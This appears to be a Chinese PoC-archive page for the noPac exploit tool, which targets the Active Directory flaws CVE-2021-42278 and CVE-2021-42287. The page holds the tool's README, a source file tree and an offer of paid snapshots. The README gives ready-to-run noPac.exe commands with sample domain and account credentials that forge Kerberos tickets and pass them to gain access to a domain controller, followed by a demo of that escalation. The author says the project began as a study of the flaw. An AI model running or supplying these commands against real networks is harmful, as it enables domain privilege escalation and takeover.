关联漏洞
标题:
Microsoft Windows Active Directory 权限许可和访问控制问题漏洞
(CVE-2021-42287)
描述:Microsoft Windows Active Directory是美国微软(Microsoft)公司的一个负责架构中大型网络环境的集中式目录管理服务。存储有关网络上对象的信息,并使管理员和用户可以轻松查找和使用这些信息。 Microsoft Windows Active Directory存在权限许可和访问控制问题漏洞。以下产品和版本受到影响:Windows Server 2019,Windows Server 2019 (Server Core installation),Windows Serve
描述
CVE-2021-42287/CVE-2021-42278 Exploiter
介绍
# noPac
这个项目的由来是出于对 noPac 的原理学习, 在 [cube0x0](https://github.com/cube0x0/noPac) 的项目基础上进行了一些更改. 源码中添加了个人的理解注释.
- 删除了 Scan 功能, 个人觉得 Scan 功能用处比较鸡肋.
- 增加了 MachineAccountQuota 值的判断, 如果为 0 则退出程序.
- 优化了添加计算机帐户时的判断处理.
- 增加了 TGT 的输出.
漏洞的分析文章可以查看我的博客文章: [noPac 分析](https://trya9ain.github.io/nopac-%E5%88%86%E6%9E%90/)
## 利用条件
noPac 是 CVE-2021-42278 (sAMAccountName spoofing) & CVE-2021-42287 (deceiving the KDC) 两个漏洞的组合利用, 只有同时满足这两个漏洞的利用条件才能成功利用.
## 使用方法
```
Examples: Get TGT and ST
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs
Examples: PTT
noPac.exe /domain DomainName /dc DomainController /mAccount MachineAccount /mPassword MachineAccountPassword /user DomainUser /pass DomainUserPassword /service altservice /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
```
比较常用的方法是 PTT:
```PowerShell
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
```
## Demo
利用 noPac 前无权访问 DC.

利用 noPac.
```PowerShell
noPac.exe /domain missyou.com /dc dc.missyou.com /mAccount test1b$ /mPassword "TesT1b13!#@" /user wanglei /pass wanglei /service cifs /ptt
```

PTT 后在当前窗口再次访问 DC 即可成功访问.

## 利用环境
注意程序只能运行在 .NET 4.0+ 环境的机器上, Windows Server 2012 默认带 .NET 4.0, Windows Server 2008 默认带 .NET 3.5.
查看机器上存在的 .NET 版本:
```PowerShell
dir c:\Windows\Microsoft.NET\Framework64
```

文件快照
[4.0K] /data/pocs/f0ed5e70b1b41941415f98e92a7d13a154341832
├── [4.0K] Images
│ ├── [ 20K] Pasted image 20221222145605.png
│ ├── [802K] Pasted image 20221222145709.png
│ ├── [107K] Pasted image 20221222145734.png
│ └── [133K] Pasted image 20221222151109.png
├── [4.0K] noPac
│ ├── [ 184] App.config
│ ├── [4.0K] Asn1
│ │ ├── [1.3K] Asn1Extensions.cs
│ │ ├── [ 53K] AsnElt.cs
│ │ ├── [ 266] AsnException.cs
│ │ ├── [7.3K] AsnIO.cs
│ │ └── [9.7K] AsnOID.cs
│ ├── [4.0K] lib
│ │ ├── [ 36K] Ask.cs
│ │ ├── [6.1K] Bruteforcer.cs
│ │ ├── [4.9K] ConsoleTable.cs
│ │ ├── [4.0K] crypto
│ │ │ ├── [4.0K] dh
│ │ │ │ ├── [1.5K] DiffieHellmanKey.cs
│ │ │ │ ├── [ 698] IExchangeKey.cs
│ │ │ │ ├── [ 572] IKeyAgreement.cs
│ │ │ │ ├── [ 566] KeyAgreementAlgorithm.cs
│ │ │ │ ├── [6.0K] ManagedDiffieHellman.cs
│ │ │ │ ├── [ 561] ManagedDiffieHellmanOakley14.cs
│ │ │ │ ├── [ 556] ManagedDiffieHellmanOakley2.cs
│ │ │ │ └── [9.1K] Oakley.cs
│ │ │ └── [3.8K] SafeNativeMethods.cs
│ │ ├── [ 10K] Crypto.cs
│ │ ├── [ 54K] ForgeTicket.cs
│ │ ├── [9.3K] Harvest.cs
│ │ ├── [ 20K] Helpers.cs
│ │ ├── [4.0K] Interop
│ │ │ ├── [2.5K] Luid.cs
│ │ │ └── [ 945] NtException.cs
│ │ ├── [ 61K] Interop.cs
│ │ ├── [2.5K] KDCKeyAgreement.cs
│ │ ├── [4.0K] krb_structures
│ │ │ ├── [4.1K] ADIfRelevant.cs
│ │ │ ├── [1.4K] ADKerbLocal.cs
│ │ │ ├── [4.3K] ADRestrictionEntry.cs
│ │ │ ├── [1.8K] ADWin2KPac.cs
│ │ │ ├── [4.2K] AP_REQ.cs
│ │ │ ├── [3.3K] AS_REP.cs
│ │ │ ├── [ 11K] AS_REQ.cs
│ │ │ ├── [4.6K] Authenticator.cs
│ │ │ ├── [1.6K] AuthorizationData.cs
│ │ │ ├── [2.0K] Checksum.cs
│ │ │ ├── [3.5K] EncKDCRepPart.cs
│ │ │ ├── [1.9K] EncKrbCredPart.cs
│ │ │ ├── [4.1K] EncKrbPrivPart.cs
│ │ │ ├── [2.7K] EncryptedData.cs
│ │ │ ├── [1.9K] EncryptionKey.cs
│ │ │ ├── [ 19K] EncTicketPart.cs
│ │ │ ├── [2.7K] HostAddress.cs
│ │ │ ├── [ 11K] KDC_REQ_BODY.cs
│ │ │ ├── [1.1K] KERB_PA_PAC_REQUEST.cs
│ │ │ ├── [ 659] KrbAlgorithmIdentifier.cs
│ │ │ ├── [1.1K] KrbAuthPack.cs
│ │ │ ├── [4.3K] KRB_CRED.cs
│ │ │ ├── [7.9K] KrbCredInfo.cs
│ │ │ ├── [1.4K] KrbDHRepInfo.cs
│ │ │ ├── [3.5K] KRB_ERROR.cs
│ │ │ ├── [1.1K] KrbKDCDHKeyInfo.cs
│ │ │ ├── [1.3K] KrbPkAuthenticator.cs
│ │ │ ├── [2.9K] KRB_PRIV.cs
│ │ │ ├── [ 637] KrbSubjectPublicKeyInfo.cs
│ │ │ ├── [ 993] LastReq.cs
│ │ │ ├── [4.0K] pac
│ │ │ │ ├── [1.1K] Attributes.cs
│ │ │ │ ├── [1.4K] ClientName.cs
│ │ │ │ ├── [1.2K] LogonInfo.cs
│ │ │ │ ├── [4.0K] Ndr
│ │ │ │ │ └── [ 50K] Kerberos_PAC.cs
│ │ │ │ ├── [2.0K] PacCredentialInfo.cs
│ │ │ │ ├── [ 981] PacInfoBuffer.cs
│ │ │ │ ├── [3.5K] PACTYPE.cs
│ │ │ │ ├── [1.0K] Requestor.cs
│ │ │ │ ├── [1.8K] S4UDelegationInfo.cs
│ │ │ │ ├── [1.5K] SignatureData.cs
│ │ │ │ └── [2.2K] UpnDns.cs
│ │ │ ├── [9.3K] PA_DATA.cs
│ │ │ ├── [1.1K] PA_ENC_TS_ENC.cs
│ │ │ ├── [3.5K] PA_FOR_USER.cs
│ │ │ ├── [1.4K] PA_PAC_OPTIONS.cs
│ │ │ ├── [ 771] PA_PK_AS_REP.cs
│ │ │ ├── [1.6K] PA_PK_AS_REQ.cs
│ │ │ ├── [2.1K] PA_S4U_X509_USER.cs
│ │ │ ├── [3.5K] PrincipalName.cs
│ │ │ ├── [2.7K] S4UUserID.cs
│ │ │ ├── [3.1K] TGS_REP.cs
│ │ │ ├── [ 20K] TGS_REQ.cs
│ │ │ ├── [4.1K] Ticket.cs
│ │ │ └── [2.1K] TransitedEncoding.cs
│ │ ├── [ 84K] LSA.cs
│ │ ├── [4.0K] math
│ │ │ ├── [ 54K] BigInteger.cs
│ │ │ ├── [2.2K] ConfidenceFactor.cs
│ │ │ ├── [1.8K] NextPrimeFinder.cs
│ │ │ ├── [5.7K] PrimalityTest.cs
│ │ │ ├── [2.3K] PrimeGeneratorBase.cs
│ │ │ └── [3.5K] SequentialSearchPrimeGeneratorBase.cs
│ │ ├── [4.0K] ndr
│ │ │ ├── [4.0K] Ndr
│ │ │ │ ├── [4.0K] Marshal
│ │ │ │ │ ├── [1.1K] INdrConformantStructure.cs
│ │ │ │ │ ├── [1.2K] INdrNonEncapsulatedUnion.cs
│ │ │ │ │ ├── [1.4K] INdrStructure.cs
│ │ │ │ │ ├── [1.6K] NdrContextHandle.cs
│ │ │ │ │ ├── [1.9K] NdrDataRepresentation.cs
│ │ │ │ │ ├── [2.5K] NdrDeferralStack.cs
│ │ │ │ │ ├── [3.0K] NdrEmbeddedPointer.cs
│ │ │ │ │ ├── [ 775] NdrEmpty.cs
│ │ │ │ │ ├── [5.7K] NdrEnum16.cs
│ │ │ │ │ ├── [4.8K] NdrInt3264.cs
│ │ │ │ │ ├── [1.8K] NdrInterfacePointer.cs
│ │ │ │ │ ├── [ 29K] NdrMarshalBuffer.cs
│ │ │ │ │ ├── [3.4K] NdrPickledType.cs
│ │ │ │ │ ├── [1.5K] NdrPipe.cs
│ │ │ │ │ ├── [ 22K] NdrUnmarshalBuffer.cs
│ │ │ │ │ └── [ 830] NdrUnsupported.cs
│ │ │ │ ├── [ 23K] NdrNativeUtils.cs
│ │ │ │ └── [2.2K] NdrParser.cs
│ │ │ ├── [4.0K] Utilities
│ │ │ │ ├── [4.0K] Memory
│ │ │ │ │ ├── [1.2K] CrossBitnessTypeAttribute.cs
│ │ │ │ │ ├── [1.8K] IMemoryReader.cs
│ │ │ │ │ └── [1.0K] SafeBufferWrapper.cs
│ │ │ │ └── [4.0K] Text
│ │ │ │ ├── [4.2K] BinaryEncoding.cs
│ │ │ │ └── [ 11K] HexDumpBuilder.cs
│ │ │ └── [4.0K] Win32
│ │ │ └── [4.0K] Rpc
│ │ │ └── [ 15K] RpcUtils.cs
│ │ ├── [ 22K] Networking.cs
│ │ ├── [8.0K] Renew.cs
│ │ ├── [9.2K] Reset.cs
│ │ ├── [ 42K] Roast.cs
│ │ └── [ 43K] S4U.cs
│ ├── [9.4K] noPac.csproj
│ ├── [ 490] noPac.csproj.user
│ ├── [ 21K] Program.cs
│ └── [4.0K] Properties
│ └── [1.4K] AssemblyInfo.cs
├── [1.1K] noPac.sln
└── [2.7K] README.md
20 directories, 126 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。